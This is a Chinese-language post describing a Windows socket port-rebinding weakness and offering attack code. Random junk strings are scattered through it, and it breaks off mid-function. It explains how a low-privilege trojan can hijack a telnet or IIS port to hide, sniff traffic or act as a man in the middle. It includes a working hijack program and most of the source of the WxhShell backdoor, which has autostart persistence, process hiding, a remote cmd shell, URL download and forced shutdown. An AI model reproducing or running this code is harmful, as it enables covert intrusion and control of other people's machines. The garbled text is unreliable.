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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |^Yz*r?BJ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); & +`g~6U wG:RvgX} saddr.sin_family = AF_INET; <z60EvHg 7>zUT0SS saddr.sin_addr.s_addr = htonl(INADDR_ANY); [H!do$[> @P0rNO%y bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5/6Jq N4qBCBr( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jXmY8||w r-S%gG}~E 这意味着什么?意味着可以进行如下的攻击: v"
#8^q Edc3YSg%; 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7?g({] IN6L2/Q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) eI`%J3BxR (5`(H.( 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A]QGaWK ;XNC+mPK 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 *>aVU' @ukL!AV?Y 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~)pZ5%C o:UNSr 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )RFY2} %! Sjbh 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 lhE]KdE3 "}0QxogYE #include l(QntP #include (i{ZxWW& #include #Q_Scxf #include !j #8zN DWORD WINAPI ClientThread(LPVOID lpParam); Qg1kF^= int main() Iw] ylp { DI-&P3iGx WORD wVersionRequested; oEZhKVyc.y DWORD ret; J7WNgl%
u WSADATA wsaData; KX\=wFbP) BOOL val; E rA*a3 SOCKADDR_IN saddr; 9;*B*S~znW SOCKADDR_IN scaddr; DV?c%z`YO int err; ae3 Gn}tf SOCKET s; 0ZD)(ps| SOCKET sc; =<(6yu_ int caddsize; `v(!IBP| HANDLE mt; :zIB3nT^ DWORD tid; JC$_Pg! wVersionRequested = MAKEWORD( 2, 2 ); g]MgT-C| err = WSAStartup( wVersionRequested, &wsaData ); | LZ+_ if ( err != 0 ) { G a$2o6 printf("error!WSAStartup failed!\n"); @~=d4Wj6 return -1; FS)C<T]t } 'SE5sB
saddr.sin_family = AF_INET; &-IkM%_A9 S_AN.8T //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 B;iJ$gt] l:~ >P[ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
OS(Ua saddr.sin_port = htons(23); w?fq%-6f* if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R%t6sbsNv { R SWw4} printf("error!socket failed!\n"); YuO!Y9iEm return -1; Cvt/ot-J? } F`gK6;zp val = TRUE; ER!s //SO_REUSEADDR选项就是可以实现端口重绑定的 jX$U)O if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) lUnC+w#[ { LChwHkRHJI printf("error!setsockopt failed!\n"); =`MQKh, return -1; |gk"~D } LDo~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )ARV>( //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 FgP{ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +*qTZIXj Y,4?>:39J if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K.? S,qg { %gqu7}' ret=GetLastError(); Ql}#mC.>/ printf("error!bind failed!\n"); sx[mbKj< return -1; ZI :wJU:f } D_z&G) listen(s,2); |n s9ziTDI while(1) Ln h'y`q { SrWmV@"y caddsize = sizeof(scaddr); HZ{DlH;& //接受连接请求 5C-n"8&C& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vHymSU/J if(sc!=INVALID_SOCKET) bM
W}.v! { *$t =Lh mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?[5_/0L,= if(mt==NULL) ?|<p^: { \rbvlO?} printf("Thread Creat Failed!\n"); 8Sf}z@~] break; ~fpk`&nhe } aHles5
} sPX~>8}|VP CloseHandle(mt); ]INt9Pvqm } 2-duzc closesocket(s); {4R;C~E8 WSACleanup(); tD,~i"0; return 0; 51s 3hX$ } dlV HyCW DWORD WINAPI ClientThread(LPVOID lpParam) TPKm>5g { _(@ezX.p SOCKET ss = (SOCKET)lpParam; b]Lp_t SOCKET sc; :7qJ[k{g unsigned char buf[4096]; >hotkMX `3 SOCKADDR_IN saddr; }"^d<dvuz long num; i[e-dT:*R DWORD val; 6,p;8I DWORD ret; b:*(
f#"q //如果是隐藏端口应用的话,可以在此处加一些判断 "?
5@j/
e` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 -A"0mS8L saddr.sin_family = AF_INET; =~$)Ieu saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >ufN[ab saddr.sin_port = htons(23); 4Z{ r if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N?s5h? { 2ZMVYa2%( printf("error!socket failed!\n"); u|ru$cIo return -1; Eds{-x|10 } "SwM%j val = 100; XXW.Uios if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1u~.^O}J { {*qz<U> ret = GetLastError(); HqA~q return -1; ?trqe/ } 2C&l\16 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o2riy'~ { 3q (]Dg;v ret = GetLastError(); z
2Ao6*% return -1; /5R?(- } c~Z\|Y`#B if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |0N1]Hf { -~=:tn)0 printf("error!socket connect failed!\n"); ;u?H#\J, closesocket(sc); hL/ closesocket(ss); lHoV>k return -1; upF^k%<y: } Dj{t[z]$k while(1) A|0\ct { b0Fr]oGp //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nTXM/ //如果是嗅探内容的话,可以再此处进行内容分析和记录 F='rGQK!1 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }mQh^ num = recv(ss,buf,4096,0); *| YR8f if(num>0) 'y:+w{I2o send(sc,buf,num,0); /{\mV(F( else if(num==0) ( |Xc_nC break; pH!8vnoA num = recv(sc,buf,4096,0); 7`t[|o if(num>0) k3B]u.Lo send(ss,buf,num,0); PqwoZo0j else if(num==0) |^kfa_d break; ,OaPrAt- } -]vPF| closesocket(ss); e^Lt{/ closesocket(sc); RVe UQ% return 0 ; 7TGLt z } 9iQc\@eGd 6
g`Y~ii J*'#!
xIa ========================================================== >_um-w #C x[H9<&)D 下边附上一个代码,,WXhSHELL b!-F!Lq/+0 R4g% $} ========================================================== M8'
GbF=1 Lr`G. e #include "stdafx.h" sa>}wz<o +zLh<q 0 #include <stdio.h> }CXL\,; #include <string.h> LTc=D #include <windows.h> ZQPv@6+oY #include <winsock2.h> Z3]ut#` #include <winsvc.h> 7|eD}=jy #include <urlmon.h> H-aSLc ZI'Mr:z4 #pragma comment (lib, "Ws2_32.lib") ^(8(z@y #pragma comment (lib, "urlmon.lib") Z39I*-6F9W c|^#v8x^/ #define MAX_USER 100 // 最大客户端连接数 8 m
T..23 #define BUF_SOCK 200 // sock buffer ;F!wyTF>} #define KEY_BUFF 255 // 输入 buffer Ohmi(s
JQ.w6aE #define REBOOT 0 // 重启 Tp0^dZ M+ #define SHUTDOWN 1 // 关机 ,5L[M&5 +WP #define DEF_PORT 5000 // 监听端口 cp7Rpqg }6V` U9^g #define REG_LEN 16 // 注册表键长度 'cx&:s #define SVC_LEN 80 // NT服务名长度 3Vj,O?(Z On{p(|l // 从dll定义API (X"WEp^Q{I typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Gf{FFIe( typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g^EkRBU typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^KK6 d typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a:(.{z?nM ~ST7@-D0 // wxhshell配置信息 g
:me:M struct WSCFG { 5-ju5z?= int ws_port; // 监听端口 c_xo6+:l char ws_passstr[REG_LEN]; // 口令 1$g]&' int ws_autoins; // 安装标记, 1=yes 0=no K;wd2/jmJ char ws_regname[REG_LEN]; // 注册表键名 ZzuEw char ws_svcname[REG_LEN]; // 服务名 bQ"w%! char ws_svcdisp[SVC_LEN]; // 服务显示名 `/mcjKQ&9y char ws_svcdesc[SVC_LEN]; // 服务描述信息 iYJzSVO char ws_passmsg[SVC_LEN]; // 密码输入提示信息 do:3aP'S, int ws_downexe; // 下载执行标记, 1=yes 0=no 62X;gb char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ag$mc8-p[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xN +j]LC dm&vLQVS }; 7]~65@%R-& )"IBw0] // default Wxhshell configuration 5)MVkJ=R struct WSCFG wscfg={DEF_PORT, *y;(c)_w/% "xuhuanlingzhe", 3d2|vQx,K 1, IwHYuOED] "Wxhshell", Gn*vVZ@`x "Wxhshell", "Oh(&N:U "WxhShell Service", iS{8cN3R "Wrsky Windows CmdShell Service", y:N
QLL> "Please Input Your Password: ", >e7w!v] 1, ;nPjyu'g " http://www.wrsky.com/wxhshell.exe", =2z9Aq{ "Wxhshell.exe" P%6-W5< }; wY`yP!xO ad1%"~1 // 消息定义模块 OI9V'W$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _[,oP s:+ char *msg_ws_prompt="\n\r? for help\n\r#>"; 'Zdjd] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; xi]qdiA char *msg_ws_ext="\n\rExit."; I3A@0'Vm;L char *msg_ws_end="\n\rQuit."; Rmrv@.dr! char *msg_ws_boot="\n\rReboot..."; >!vb ;a! char *msg_ws_poff="\n\rShutdown..."; B!=JRfT char *msg_ws_down="\n\rSave to "; u*ZRU
4U fBptjt_ char *msg_ws_err="\n\rErr!"; TqM(I[J7\ char *msg_ws_ok="\n\rOK!"; R~$W fJ3*'( char ExeFile[MAX_PATH]; ?=%Q$|]- int nUser = 0; Q]Fm4 HANDLE handles[MAX_USER]; 94umk*ib int OsIsNt; ]Hp o[IF HrUQ X4 SERVICE_STATUS serviceStatus; D|u! KH SERVICE_STATUS_HANDLE hServiceStatusHandle; 0{/P1 |(E.Sb // 函数声明 pr2b<(Pm int Install(void); p=Nord int Uninstall(void); ubn`w=w$ int DownloadFile(char *sURL, SOCKET wsh); >4A~?= int Boot(int flag); ,1"w2, = void HideProc(void); '[ZRWwhr
int GetOsVer(void); cC.=,n int Wxhshell(SOCKET wsl); LCrE1Q%VP void TalkWithClient(void *cs); vxxa,KR/y int CmdShell(SOCKET sock); y;+5cn C int StartFromService(void); f#RI&I\ int StartWxhshell(LPSTR lpCmdLine); Mt@P}4 ?d*0-mhQ, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GUJaeFe VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y!VYD_'P O'~c;vBI // 数据结构和表定义 JCu3,O!q SERVICE_TABLE_ENTRY DispatchTable[] = zW`$T88~ { YEZd8Y {wscfg.ws_svcname, NTServiceMain}, Zc"Vf]: {NULL, NULL} :wJ=t/ho }; $td=h)S^` 18|i{fE; // 自我安装 ;* vVucx int Install(void) zDbjWd { 1sL#XB$@N char svExeFile[MAX_PATH]; L~yu HKEY key; G:f\wK[ strcpy(svExeFile,ExeFile); "#H@d+u J`T1 88 // 如果是win9x系统,修改注册表设为自启动 (~~*PT- if(!OsIsNt) { =X(8[ e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=v4;t'_^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1nv#Ehorg RegCloseKey(key); S4j` =<T, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j +j2_\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *t{$GBP RegCloseKey(key); i,Yq
oe` return 0; _c=[P@ } h&3*O[` } Ex'6 WN~kD } %[:\ZwT,- else { M
<oy ({#9gTP2b // 如果是NT以上系统,安装为系统服务 xkIRI1*! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x.r OP_rs if (schSCManager!=0) (R_#lRaQ { [C
PgfVz SC_HANDLE schService = CreateService H[ 6L! ( tn-_3C schSCManager, m_Owe/BC#m wscfg.ws_svcname, IL?mt2I Q> wscfg.ws_svcdisp, \#P>k;D SERVICE_ALL_ACCESS,
D(}w$hi8 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y<U"}} SERVICE_AUTO_START, ew(CfW2 SERVICE_ERROR_NORMAL, ~{,U%B svExeFile, |wASeZMO2 NULL, MB9tnGO-Q NULL, \atztC{-L> NULL, BlF]-dF\ NULL, W\s
]qsLS NULL =H T:p:S ); Ys@M1o if (schService!=0) ecK{+Z'G { bI)ItC_wf! CloseServiceHandle(schService); LRO'o{4$E CloseServiceHandle(schSCManager); Y6T1_XG strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fk%yi[ strcat(svExeFile,wscfg.ws_svcname); mX78Av.z! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FgIL Q"+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yoKl.U"& RegCloseKey(key); usb.cE3z return 0; 3[kY:5- } Mp=2}d%P } HZBU?{ CloseServiceHandle(schSCManager); l0Myem
v?z } Cx $M } <szD"p|K nJJ9>#<g$ return 1; t?NB#/#%x } 0GR\iw$[J ?Z-(SC // 自我卸载 [#y/` int Uninstall(void) AtRu)v6r { ZCJOh8 HKEY key; 3.q%?S}* 1eC1Cyw if(!OsIsNt) { uJz<:/rwZ- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O) ks RegDeleteValue(key,wscfg.ws_regname); 6"^Yn.
RegCloseKey(key); &61;v@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7Y$#*
7 RegDeleteValue(key,wscfg.ws_regname); W2L: RegCloseKey(key); D9H(kk
return 0; {R[FwB^7wJ } F|K=]. }
rn^7B-V } O>)<w
Ms` else { 2s, [DC Bl5*sfjG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J /3qJst if (schSCManager!=0) ZMmaM "9 { l[=7<F SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YQ}xr^VA if (schService!=0) t^0^He$Ot { e)dPv:oK3 if(DeleteService(schService)!=0) { l4+!H\2 CloseServiceHandle(schService); NET?Ep CloseServiceHandle(schSCManager); JcsJfTI return 0; ZhqrN]x } rzJNHf=FVY CloseServiceHandle(schService); =5NrkCk#V } 5'f4=J$Z) CloseServiceHandle(schSCManager); %}
WSw~X } y2k'^zE } jU2Dpxkt %Gp%l return 1; Jz D
Mx? } W:q79u yX }Z
T{ // 从指定url下载文件 $:M *$r^u int DownloadFile(char *sURL, SOCKET wsh) Jy)E!{#x { wD|,G!8E2 HRESULT hr; #L}YZ char seps[]= "/"; uGm~ Oo char *token; ^R* _Q,o# char *file; Bq~!_6fB char myURL[MAX_PATH]; $mvcqn; char myFILE[MAX_PATH]; ]]lgCac_U9 (4_7ICFI strcpy(myURL,sURL); )3<|<jwcx token=strtok(myURL,seps); EL!V\J`S_ while(token!=NULL) DA)+)PhY7K { Q3MG+@) S file=token; D"o}X TH token=strtok(NULL,seps); 'N$hbl } o -tc}Aa ^UP!y!&N GetCurrentDirectory(MAX_PATH,myFILE); ,L#Qy>MOb strcat(myFILE, "\\"); [Nb0&:$ay strcat(myFILE, file); `n%uvo}UT send(wsh,myFILE,strlen(myFILE),0); su]CaHU send(wsh,"...",3,0); lqFDX
d hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;cQhs7m(9 if(hr==S_OK) NpV#zzE return 0; (Fq|hgOA>M else SH>L3@Za return 1; Az4+([
nU]n]gd } B6)d2O9C DQ7+ // 系统电源模块 USz|Rh int Boot(int flag) fl| 8#\r { m1@ste;$W HANDLE hToken; dz
fR ^Gv TOKEN_PRIVILEGES tkp; TWF6YAQm RAMkTS if(OsIsNt) { x)eYqH~i OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,KvF:xqA LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); juQ&v>9W) tkp.PrivilegeCount = 1; IC&xL9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <p"[jC2zF; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5/j7 C> if(flag==REBOOT) { hwF9LD~^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UhuEE return 0; 3nb&Z_/e } VW^6qf/, else { ConXP\M- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y,{=*2Yt return 0; _@I8B } FqQqjA } ([~9v@+ else { E(DNK if(flag==REBOOT) { Kx.'^y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]h4^3 return 0; :;[pl|}tM } _ndc^OG else { y]|Hrx
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r[xj,eIb return 0; \_?A8F } VwfeaDJw } )eFXjnHN #clOpyT* return 1; Jt79M(Hp! } ; MU8@?yN C[f'1O7 // win9x进程隐藏模块 Xup rl2+ void HideProc(void) R=uzm=&nR { $4K(AEt[ ~WH4D+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8:9m< ^4S( if ( hKernel != NULL ) 2xBIfmR^y { 2=Sv# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V~j:!=b%v ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f,Q oA FreeLibrary(hKernel); "`P/j+-rt } `#O%ZZ+ @tQu3Rq@ return; 3vx5dUgl, } )?35!s6 AF ,*bb // 获取操作系统版本 HUF],[N int GetOsVer(void) Tb~|p_;o { (,Zy2wr= OSVERSIONINFO winfo; BJGL &N winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5,/rh,? GetVersionEx(&winfo); 3m
RP.<= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Dep.Qfv{- return 1; tHF-OarUO else yW::` return 0; j8k5B" } :
utY4 Jg3OMUt // 客户端句柄模块 FT.6^)- int Wxhshell(SOCKET wsl) }DH3_M! { Co|3k:I 8 SOCKET wsh; uTsxSkHb/ struct sockaddr_in client; >eX&HS oy DWORD myID; GM&< ?K1 HgH\2QL3& while(nUser<MAX_USER) 4n55{?Z { j\W"P_ dpd int nSize=sizeof(client); e/+_tC$@p@ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8 xfn$ if(wsh==INVALID_SOCKET) return 1; Y0nnn pq8XCOllXx handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;U7o)A; if(handles[nUser]==0) 9a\H+Y~ closesocket(wsh); b1rW0}A else tC;LA 4 nUser++; O~3<P3W } <sU?q<MC WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WiDl[l"{9 ckn0I return 0; m\9R;$\ } yV{&x zNAID-5K; // 关闭 socket h"~i&T
h void CloseIt(SOCKET wsh) m9yi:zT% { ?'RB)M=Og7 closesocket(wsh); E?\&OeAkO nUser--; n7Em
t$Hi> ExitThread(0); GnAG'.t-Z } rGa@!^hk Ck`-<)uN // 客户端请求句柄 Eb
8vnB# void TalkWithClient(void *cs) s
&4k { ?=
G+L0t
WBb@\|V| SOCKET wsh=(SOCKET)cs; L7kNQ/ char pwd[SVC_LEN]; qp#Is{=m char cmd[KEY_BUFF]; 36]pE< char chr[1]; uD'yzR!]+ int i,j; .bdp=vbA irjOGn while (nUser < MAX_USER) { Z;=h= ;v#BguM if(wscfg.ws_passstr) { dO?zLc0f if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &xhwx>C`K //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rV{:'"=y- //ZeroMemory(pwd,KEY_BUFF); o!6~tO=% i=0; j-~x==c-; while(i<SVC_LEN) { %}.4c8 Iax-~{B3AY // 设置超时 `'W/uCpl fd_set FdRead; [z:.52@! struct timeval TimeOut; dh9Qo4-{ FD_ZERO(&FdRead); VtP^fM^{ FD_SET(wsh,&FdRead); _v/w
,z TimeOut.tv_sec=8; ;$a+ > TimeOut.tv_usec=0; !sknO53`H` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D.[h`Hkc if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H1bHQB fnXYp
! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <x!q!; pwd =chr[0]; (-}:'5|Yj if(chr[0]==0xd || chr[0]==0xa) { GG0H3MSc pwd=0; 'iY~F 0U break; q?R^~r } G3.*fSY$.< i++; i2+r#Hw#5R } ;C^!T .j
et0w // 如果是非法用户,关闭 socket $ol]G`+ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _+sb~ }
%wFz4: %*}h{n send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h+gaKh=k+ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XC(:O(jdA2 64LX[8Ax# while(1) { fMpxe( `p!&>,lrk ZeroMemory(cmd,KEY_BUFF); MV{\:l}y r|MBkpcvp // 自动支持客户端 telnet标准 1'NJ[
C` j=0; |mM K9OEu while(j<KEY_BUFF) { jj,CBNo( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -/V,<@@T cmd[j]=chr[0]; N!PPL"5z if(chr[0]==0xa || chr[0]==0xd) { D%`O.2T Y| cmd[j]=0; !1b}M/Wx break; Ir\P[A } E,kDy: j++; Y9/`w@"v } #ORZk6e IdS=lN$ // 下载文件 qnu<"$
if(strstr(cmd,"http://")) { /IxoS send(wsh,msg_ws_down,strlen(msg_ws_down),0); L[s`8u<_)z if(DownloadFile(cmd,wsh)) XnwVK send(wsh,msg_ws_err,strlen(msg_ws_err),0); E"O6N.}. else {gC?kp send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ; Sd== * } @~z4GTF9i else { +P &S0/ oSf6J:?*e switch(cmd[0]) { l`bl^~xRo %jE0Z4\ // 帮助 !+k);;.+ case '?': { /Hs\`Kg"! send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }>5R9 break; cMfJq}C< } 3jqV/w[- // 安装 #0"Pd8@ case 'i': { e**<et. if(Install()) *g*~+B
: send(wsh,msg_ws_err,strlen(msg_ws_err),0); \N%L-%^ else :hBLi99
o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aMJW__, break; ~W2Od2p! } sv.?C pE // 卸载
7;I;(iY case 'r': { ]Sey|/@D if(Uninstall()) +=`*`eP:U send(wsh,msg_ws_err,strlen(msg_ws_err),0); eP|_ else yMz dM&a!* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LE|DMz|J break; Q\nIU7:bZ } @CtnV| // 显示 wxhshell 所在路径 Akdx1h, case 'p': { u}">b+{! char svExeFile[MAX_PATH]; j5gL67B strcpy(svExeFile,"\n\r"); `Hx JE"/ strcat(svExeFile,ExeFile); _ea|E 8 send(wsh,svExeFile,strlen(svExeFile),0); wX4gyr break; +h)1NX;o1 } U]]ON6Y&F // 重启 ae#Qeow` case 'b': { ?$ Dc> send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FvJkb!5*e_ if(Boot(REBOOT)) cCuK?3V4K send(wsh,msg_ws_err,strlen(msg_ws_err),0); O@>ZYA% else { &R))c|>OT& closesocket(wsh);
/ M@[ 8 ExitThread(0); FfX*bqy } UL.YDU) break; AZE } DC~ 1}|B" // 关机 T8BewO=} case 'd': { I vX+yU send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~_F <"40 if(Boot(SHUTDOWN)) uC! dy send(wsh,msg_ws_err,strlen(msg_ws_err),0); `J$7X else { _]zH4o<p closesocket(wsh); l[6lXR&| ExitThread(0); 0m,q3 } `< 82"cAT{ break; hK UK#xx } ?sW}<8\ // 获取shell ;LC?3. case 's': { (@Kc(>(: Y CmdShell(wsh); p=[SDk` closesocket(wsh); m@W>ku ExitThread(0); Eq=j+ch7 break; _l+8[\v } GP(ze-Yp // 退出 hvc3n>
Y[} case 'x': { xC9?Wt' send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Nwg?(h# CloseIt(wsh); 3=("vR`! break; 'A,)PZL9i } R:`)*=rL% // 离开 +xuj ]J case 'q': { qi['~(( send(wsh,msg_ws_end,strlen(msg_ws_end),0); &a+=@Z)kf closesocket(wsh); B"rO WSACleanup(); C^fn[plL exit(1); d[YG&.}+8j break; *mz-g7 } !E6QED" } H@te!EE } PVSz%" t[ZGY,8 // 提示信息 y" |gC!V} if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C[,&Y&`j } K@vU_x0Sl } 9/=+2SZ i}O.,iH return; G8.nKoHv7x } G0h e'BR ^vJy< // shell模块句柄 A: O"N int CmdShell(SOCKET sock) zJ_y"bt { SPp|/ [i7 STARTUPINFO si; j XYr&F ZeroMemory(&si,sizeof(si)); 3a'#Z4Z- si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <rFh93 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =z4J[8bb PROCESS_INFORMATION ProcessInfo; <cFj-Ys(T char cmdline[]="cmd"; M6j~`KSE CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z<_a4ffR return 0; 8v)iOPmDC } 7#7AK} &@ ${@ // 自身启动模式 9TbbIP1 int StartFromService(void) T@Z-;^aV { RWFvf typedef struct t)mc~M9w { \x|8 DWORD ExitStatus; Cg8 DWORD PebBaseAddress; }^
=f%EjV DWORD AffinityMask; DUwms"I,% DWORD BasePriority; (o^?i2)g ULONG UniqueProcessId; !gcea?I ULONG InheritedFromUniqueProcessId; @SI,V8i } PROCESS_BASIC_INFORMATION; !R![:T\, /CUBs! PROCNTQSIP NtQueryInformationProcess; Bh&dV%' a+j"8tHu$ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *;F:6p4_ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Yq'D-$@ #8$"84&N. HANDLE hProcess; O=jzz&E+ PROCESS_BASIC_INFORMATION pbi; 4HpKKhv" K'y|_XsBB) HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TkVqv v if(NULL == hInst ) return 0; !;Ke# E_d j_h0hm] g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MpTOC&NG%s 